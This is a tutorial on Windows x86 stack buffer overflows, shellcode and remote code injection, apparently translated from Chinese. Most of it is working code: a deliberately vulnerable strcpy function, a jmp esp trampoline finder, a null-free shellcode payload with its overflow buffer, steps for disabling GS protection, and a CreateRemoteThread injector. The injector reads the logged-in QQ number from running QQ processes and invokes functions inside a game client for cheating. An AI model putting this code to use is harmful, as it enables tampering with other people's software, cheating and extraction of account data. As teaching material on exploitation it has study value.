1. Hiding stack calls
Before learning shellcode,
We first use the knowledge we have learned before to construct an interesting call. Of course, this is based on the premise of completing our previous stack courses.
For example, our normal call process is as follows:
main---->func2---->func1---->func0
Then, there is no doubt that there will be 3 return addresses in the stack, namely:
When main call func2, the eip of push is the address where func2 returns to the main function after execution.
When func2 calls func1, the eip of push is the address where func1 returns to the func2 function after execution.
When func1 calls func0, the eip of push is the address where func0 returns to the func1 function after execution.
We still need to implement such a call sequence, but do not allow the return to appear in the stack, and the complete call process cannot be viewed directly by ctrl+F9.
So how to do it?
The process and principle are actually very easy. The main function calls func2 normally, as long as we modify eip to point to func1 when func2 is executed.
When func1 is executed, modify eip to point to func0, and then func0 is executed and let it return to the main function smoothly.
This process is very simple, the only error-prone place is to maintain the stack, that is, esp, and save the address and ebp of the return main function.
esp error stack imbalance will definitely crash,
The return address of the main function is wrong, the program must be disordered,
If ebp is wrong, it will definitely affect the code behind the main function and the code that calls the main function.
So pay attention to these 3 points!
So let's implement the code:
DWORD preturnmain;
DWORD returnmainebp;
typedef void (*PFUNC)();
void func0();
void func1();
void func2();
PFUNC m_pfunc0 = func0;
PFUNC m_pfunc1 = func1;
PFUNC m_pfunc2 = func2;
void func0()
{
cout << "func0" << endl;
DWORD falseret;
__asm
{
mov esp, ebp
pop falseret
push preturnmain
mov ebp, returnmainebp//但是最后一层返回是需要给main函数正确的ebp的否则 main函数会出错
ret
}
}
void func1()
{
//进到这个call 我们需要注意
//我们不是call进来的 而是push地址ret 相当于eip直接指进来的 所有没有push eip 堆栈里没有返回到这一条
//而且我们调用不会原路返回所以不需要保存ebp
cout << "func1" << endl;
DWORD falseret;
__asm
{
mov esp,ebp//所以EBP指向的位置 下一条没有返回到的地址 而又不需要保存ebp 这条就当返回到用了
pop falseret//弹出假的返回地址
push func0
ret
}
}
void func2()
{
cout << "func2" << endl;
__asm
{
mov esp,ebp
pop returnmainebp
pop preturnmain
push func1
ret
}
}
int main()
{
cout << m_pfunc2 << endl;//输出 func2的地址 方便我们OD观察调试
cin.get();
func2();
cout << "main" << endl;
return 0;
}
Remarks written very clearly
This kind of calling method cannot directly see the complete calling process through the stack or ctrl+f9, only F7 can reverse the process step by step
For example, ctrl+F9 in func2 is in func1, which is different from the understanding of normal ctrl+f9
ctrl+f9 in func0 goes directly to the main function
If we write all the call processes like this, it will play a great role in protection, anti-cracking and anti-plug-in!
At the same time, the shellcode attack using the buffer overflow vulnerability also uses the previous principle.
To put it simply, the eip is modified to let the cpu execute our code.
2. Buffer overflow vulnerability
The principle of stack overflow:
Many programs will accept external input from the user, especially when an array buffer within the function accepts user input, once the program code does not check the validity of the input length, the buffer overflow may be triggered!
For example, the following simple function:
void stackoverflow(char* arg1)//函数中存在缓存区溢出漏洞
{
char buffer[8];
strcpy(buffer, arg1);
DWORD old;
VirtualProtect((PVOID)buffer, 200, PAGE_EXECUTE_READWRITE, &old);// 这里模拟已经提升好可执行权限
printf("%s", buffer);
getchar();
}
Since strcpy_s internally judges the copy size and adds overflow protection, if you want to overflow the stack in the above example, you must use strcpy, you can add the following code:
#define _CRT_SECURE_NO_WARNINGS 1
#pragma warning(disable:4996) //Ignore the warning
This function allocates a buffer of 8 bytes, then copies the incoming string into the buffer through the strcpy function, and finally outputs it. If the incoming string is greater than 8, overflow will occur and the stack will be overwritten backwards. If the information in the file is just some garbled codes, it will cause the program to crash at most. If a piece of well-designed code is passed in, the computer may go back and execute this attack code.
We have studied in detail how the stack is arranged
buffer is a local variable, the address is the stack address, when strcpy exceeds its 8 bytes, it will overwrite the data below the stack
Next are other local variables, then ebp, then the return address, then the parameters.
As long as we overwrite the return address with the code address we want to execute, we can let the function execute our code smoothly when it returns.
3. What is shellcode
Above we use the buffer overflow vulnerability to overwrite the return address and let the CPU execute our code at the corresponding location
Our code is written to memory as binary data.
This piece of binary data that is both code and data is called Shellcode.
In fact, shellcode is an executable binary code. That is, machine language. The code we wrote can be decompiled into binary. However, this code has many requirements.
For example, there can be no parameters, etc., we are groping in the process of writing,
For example, you cannot use global variables
Strings cannot be used, because they are also global constants, and they need to be written as character arrays, which are local variables
The above buffer overflow vulnerability must be attacked from the outside, and the shellcode must be written into the memory of the target process
We can apply for memory writing remotely in the target process, or construct it directly in the stack
Since a buffer overflow can overwrite the return address, it can also overwrite our shellcode on the stack
At that time, the address of the shellcode covered in the stack cannot be determined. If it is troublesome to determine the address, what should I do?
we can use springboard
The principle is simple:
Our stack is overwritten from the buffer like this
Buffer and other local variable addresses and ebp==== are overwritten with arbitrary values
Return to ==== cover to jump to a jmp esp instruction
Returning to the bottom is the start of arg1 ==== covered by our shellcode
In this way, when the function returns, it will jump to the jmp esp instruction, and this instruction will jump to our shellcode to directly
This sentence jmp esp is the springboard
4. Find the shellcode springboard
We can search for such an instruction in the system module
DWORD findjmpesp()
{
HMODULE user32Handle = LoadLibraryA("user32");
BYTE* ptr = (BYTE*)user32Handle;
for (int i = 0;; i++)
{
try
{
if (ptr[i] == 0xFF && ptr[i + 1] == 0xE4)
{
cout << hex;
cout << "跳板地址:"<<(DWORD)((int)ptr + i) << endl;
return (DWORD)((int)ptr + i);
}
}
catch (...)
{
}
}
}
In this way we can construct the shellcode
We write the API functions used by shellcode as constants first, and then we write the general methods later.
void getapiaddr()
{
HMODULE user32Handle = LoadLibraryA("user32");//0x774A0000
cout <<"user32.dll模块句柄:"<< user32Handle << endl;
FARPROC pMessageBoxA = GetProcAddress(user32Handle, "MessageBoxA");//0x77520BA0
cout << "MessageBoxA函数地址:"<<pMessageBoxA << endl;
HMODULE kernel32Handle = LoadLibraryA("kernel32");//0x75ED0000
cout << "kernel32.dll模块句柄:"<<kernel32Handle << endl;
FARPROC pExitProcess = GetProcAddress(kernel32Handle, "ExitProcess");//0x75EF4100
cout << "ExitProcess函数地址:"<< pExitProcess << endl;
}
5. Write shellcode
The preparations are complete, we start writing shellcode
_asm
{
sub esp, 0x50
xor ebx,ebx
push 0x0021C9B7
push 0xF1C4CEC8 // push "C8 CE C4 F1 B7 C9 21 00"
mov eax, esp //标题字符串指针
push 0x00
push 0x21D5B1D8
push 0xB9ABBDB4
push 0xBC21F7BB
push 0xA5B9BBB1 // push "B1 BB B9 A5 BB F7 21 BC B4 BD AB B9 D8 B1 D5 21"
mov ecx, esp //内容字符串指针
push ebx
push eax
push ecx
push ebx
mov eax, 0x77520BA0
call eax // call MessageBox
push ebx
mov eax, 0x75EF4100
call eax // call ExitProcess
}
Issues that need attention here
Our shellcode cannot have 00, otherwise strcpy will end early, so the above code ends with the string 00, we need to modify it to other code forms
The 00 at the end of the string is replaced by the register ebx
The constant 0x75EF4100 ending in 00
We write 0x75EF4112
Then sub 0x12
Bundle
changed to
so there is no 00
_asm
{
sub esp, 0x50
xor ebx,ebx
push ebx
push 0x2121C9B7
push 0xF1C4CEC8 // push "C8 CE C4 F1 B7 C9 21 00"
mov eax, esp //标题字符串指针
push ebx
push 0x21D5B1D8
push 0xB9ABBDB4
push 0xBC21F7BB
push 0xA5B9BBB1 // push "B1 BB B9 A5 BB F7 21 BC B4 BD AB B9 D8 B1 D5 21"
mov ecx, esp //内容字符串指针
push ebx
push eax
push ecx
push ebx
mov eax, 0x77520BA0
call eax // call MessageBox
push ebx
mov eax, 0x75EF4112
sub eax,0x12
call eax // call ExitProcess
}
Then we convert the assembly code into binary machine code, which is shellcode
{0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,
0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,
0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,
0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,
0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0}
The buffer data we fill
In addition to shellcode
There are also the previous local variables that can be filled in casually and the return address 0x7755c02b to be filled in
So the complete byte set is as follows
The size of the local variable space requires our OD to additionally check and continuously adjust the test
{
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
,0x2B,0xC0,0x55,0x77,
0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,
0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,
0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,
0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,
0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0}
this time will go wrong
The reason is that there is a placeholder local variable inside the function [ebp-4]
He will check whether it is CC, if it is CC, it means normal, if it is not CC, it means that there is a variable out of bounds
then we put
Change this position to CC
At the same time, the GS test of vs will also check whether our ebp value is correct, we will turn it off directly here
Right-click----C/C++----Code Generation----Security Check----Disable Security Check GS-
char shellcode[] =
{
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
,0xCC,0xCC,0xCC,0xCC,0x41,0x41,0x41,0x41
,0x2B,0xC0,0x55,0x77,
0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,
0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,
0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,
0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,
0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0 };
The complete code is as follows:
#define _CRT_SECURE_NO_WARNINGS 1
#pragma warning(disable:4996)
DWORD findjmpesp()
{
HMODULE user32Handle = LoadLibraryA("user32");
BYTE* ptr = (BYTE*)user32Handle;
for (int i = 0;; i++)
{
try
{
if (ptr[i] == 0xFF && ptr[i + 1] == 0xE4)
{
cout << hex;
cout << "跳板地址:"<<(DWORD)((int)ptr + i) << endl;
return (DWORD)((int)ptr + i);
}
}
catch (...)
{
}
}
}
void getapiaddr()
{
HMODULE user32Handle = LoadLibraryA("user32");//0x774A0000
cout <<"user32.dll模块句柄:"<< user32Handle << endl;
FARPROC pMessageBoxA = GetProcAddress(user32Handle, "MessageBoxA");//0x77520BA0
cout << "MessageBoxA函数地址:"<<pMessageBoxA << endl;
HMODULE kernel32Handle = LoadLibraryA("kernel32");//0x75ED0000
cout << "kernel32.dll模块句柄:"<<kernel32Handle << endl;
FARPROC pExitProcess = GetProcAddress(kernel32Handle, "ExitProcess");//0x75EF4100
cout << "ExitProcess函数地址:"<< pExitProcess << endl;
}
char shellcode[] =
{
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
,0xCC,0xCC,0xCC,0xCC,0x41,0x41,0x41,0x41
,0x2B,0xC0,0x55,0x77,
0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,
0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,
0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,
0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,
0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0 };
void stackoverflow(char* arg1)//函数中存在缓存区溢出漏洞
{
char buffer[8];
strcpy(buffer, arg1);
DWORD old;
VirtualProtect((PVOID)buffer, 200, PAGE_EXECUTE_READWRITE, &old);// 这里模拟已经提升好可执行权限
printf("%s", buffer);
getchar();
}
int main()
{
DWORD pjmpespr = findjmpesp();
DWORD old1 = 0;
VirtualProtect((PVOID)pjmpespr, 200, PAGE_EXECUTE_READWRITE, &old1);//正常找一块可执行的位置
getapiaddr();
cout << "stackoverflow函数地址:"<<stackoverflow << endl;
cin.get();
stackoverflow(shellcode);
return 0;
}
6. Shellcode exercise, X64 replaces inline assembly
Requirements, we write the addition operation as a shellcode call
__asm
{
push ebp
mov ebp, esp
sub esp, 10h
push ecx
mov eax, [ebp + 8]
mov ecx, [ebp + 0xC]
add eax, ecx
pop ecx
mov esp, ebp
pop ebp
ret
}
//push ebp
//mov ebp, esp
//sub esp, 10h
//push ecx
//mov eax, [ebp + 8]
//mov ecx, [ebp + 0xC]
//add eax, ecx
//pop ecx
//mov esp, ebp
//pop ebp
//ret
typedef int (*PFN)(int, int);
int main()
{
char code[] =
{
0x55,0x8B,0xEC,0x83,0xEC,0x10 ,0x51 ,0x8B ,0x45 ,0x08 ,0x8B ,0x4D ,0x0C ,0x03 ,0xC1 ,0x59 ,0x8B ,0xE5 ,0x5D ,0xC3
};
PFN pfn = (PFN)((char*)code);
DWORD old = 0;
VirtualProtect((PVOID)code, 100, PAGE_EXECUTE_READWRITE, &old);
int fnret = pfn(1, 2);
cout << fnret << endl;
return 0;
We found that X64 can replace inline assembly with shellcode
7. Remote shellcode injection
When we don't inject, we can inject remote shellcode across processes to execute commands or call
The process is very simple
It is to apply for memory remotely and write it into our shellcode
Then execute remotely
For example, get our penguin number across processes
The code is as follows, and the notes are very detailed:
void getPushBin(int arg, LPVOID & pShellCode, HANDLE hProcess)
{
if (arg >= -128 && arg <= 127)//例如push 1 两字节
{
unsigned char code = { 106 };
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
}
else {
unsigned char code = { 104 };//例如push 1111 4字节
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
}
void getCallBin(int Calladdr, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 232 };// call xxxx
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
int arg = Calladdr - (int)pShellCode - 5;
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
void getmovecxBin(int arg, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 185 };// mov ecx,xxxx
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
void getresEaxBin(int src, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 163 };
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&src, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
DWORD CallFunction(HANDLE hProcess, DWORD pFunc, DWORD arg1 = 0, DWORD arg2 = 0, DWORD arg3 = 0, DWORD arg4 = 0, DWORD arg5 = 0, DWORD arg6 = 0, DWORD ecx = 0);
DWORD CallFunction(HANDLE hProcess, DWORD pFunc, DWORD arg1 , DWORD arg2 , DWORD arg3 , DWORD arg4 , DWORD arg5 , DWORD arg6 , DWORD ecx )
{
LPVOID pShellCodeStart = VirtualAllocEx(hProcess, NULL, 0x200, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID pShellCode = pShellCodeStart;
LPVOID resEax = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//构造call头部
//push ebp
//mov ebp, esp
//sub esp, 0x3c
unsigned char pfunHead[6] = { 85,139,236,131,236,60 };
SIZE_T codelen = sizeof(pfunHead);
WriteProcessMemory(hProcess, pShellCode, pfunHead, codelen, NULL);
pShellCode = LPVOID((DWORD)pShellCode + codelen);
getPushBin(arg6, pShellCode, hProcess);
getPushBin(arg5, pShellCode, hProcess);
getPushBin(arg4, pShellCode, hProcess);
getPushBin(arg3, pShellCode, hProcess);
getPushBin(arg2, pShellCode, hProcess);
getPushBin(arg1, pShellCode, hProcess);
//构造ecx
getmovecxBin(ecx, pShellCode, hProcess);
//构造call
getCallBin(pFunc, pShellCode, hProcess);
//构造 mov dword[resEax], eax
getresEaxBin((int)resEax, pShellCode, hProcess);
//构造尾部
//add esp, 0x3c
//mov esp, ebp
//pop ebp
//ret
unsigned char pfunEnd[] = { 131,196,60,139,229,93,195 };
codelen = sizeof(pfunEnd);
WriteProcessMemory(hProcess, pShellCode, pfunEnd, codelen, NULL);
pShellCode = LPVOID((int)pShellCode + codelen);
//创建远程线程 执行代码
DWORD Tid;
HANDLE tHandle = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pShellCodeStart, NULL, NULL, &Tid);
if (!tHandle)
{
VirtualFreeEx(hProcess, resEax, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pShellCodeStart, 0, MEM_RELEASE);
cout << "执行call失败!" << endl;
return -1;
}
WaitForSingleObject(tHandle, -1);//等待执行结束
int resa = 0;
ReadProcessMemory(hProcess, resEax, &resa, 4, 0);
VirtualFreeEx(hProcess, resEax, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pShellCodeStart, 0, MEM_RELEASE);
return resa;
}
int main()
{
DWORD PID = 0;
HWND tempHGame = ::FindWindowA(0, "QQ");//TXGuiFoundation,QQ
while (tempHGame != 0)//遍历多开QQ
{
GetWindowThreadProcessId(tempHGame, &PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
HMODULE hModule = LoadLibraryA("kernel32.dll");//同电脑加载地址相同
DWORD pGetModuleHandleA = (DWORD)GetProcAddress(hModule, "GetModuleHandleA");
DWORD pGetProcAddress = (DWORD)GetProcAddress(hModule, "GetProcAddress");
//QQKernelUtil.dll模块下的?GetSelfUin@Contact@Util@@YAKXZ函数返回QQ号
char dllName[] = "KernelUtil.dll";
char funName[] = "?GetSelfUin@Contact@Util@@YAKXZ";
LPVOID pDllName = VirtualAllocEx(hProcess, NULL, sizeof(dllName), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//进程句柄,NULL自动分配,大小,为特定的页面区域分配内存中或磁盘的页面文件中的物理存储,页面属性
WriteProcessMemory(hProcess, pDllName, &dllName, sizeof(dllName), 0);
LPVOID pFunName = VirtualAllocEx(hProcess, NULL, sizeof(funName), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pFunName, &funName, sizeof(funName), 0);
DWORD kernelMoudle = CallFunction(hProcess, pGetModuleHandleA, (DWORD)pDllName);//执行GetModuleHandleA 参数"KernelUtil.dll"返回句柄
DWORD pGetSelfUin = CallFunction(hProcess, pGetProcAddress, kernelMoudle, (DWORD)pFunName);
//调用GetProcAddress 参数1 KernelUtil.dll模块句柄 参数2 字符串"?GetSelfUin@Contact@Util@@YAKXZ" 返回?GetSelfUin@Contact@Util@@YAKXZ的地址
DWORD qq = CallFunction(hProcess, pGetSelfUin);//调用?GetSelfUin@Contact@Util@@YAKXZ 无参数 返回QQ号
CloseHandle(hProcess);
cout << "QQ:"<<qq<<endl;
tempHGame = ::FindWindowExA(NULL, tempHGame, 0, "QQ");
}
cin.get();
return 0;
}
8. Remote call call
For example:
meditate call
push 1
mov eax,[00D0DF1C]
mov ecx,[eax+1c]
mov ecx,[ecx+28]
mov eax,0x0047E7E0
call eax
int main()
{
DWORD PID = 0;
HWND tempHGame = ::FindWindowA(0, "口袋西游");//XYElementClient Window,口袋西游
while (tempHGame != 0)
{
GetWindowThreadProcessId(tempHGame, &PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
DWORD ecx;
DWORD Temp;
ReadProcessMemory(hProcess,(LPCVOID)0x00D0DF1C,&ecx,4,&Temp);
ReadProcessMemory(hProcess, (LPCVOID)(ecx+0x1c), &ecx, 4, &Temp);
ReadProcessMemory(hProcess, (LPCVOID)(ecx + 0x28), &ecx, 4, &Temp);
cout << hex;
cout << "ecx=" << ecx << endl;
CallFunction(hProcess, 0x0047E7E0,1,0,0,0,0,0,ecx);
CloseHandle(hProcess);
cout << "执行完毕"<< endl;
tempHGame = ::FindWindowExA(NULL, tempHGame, 0, "口袋西游");
}
cin.get();
return 0;
}
Meditate successfully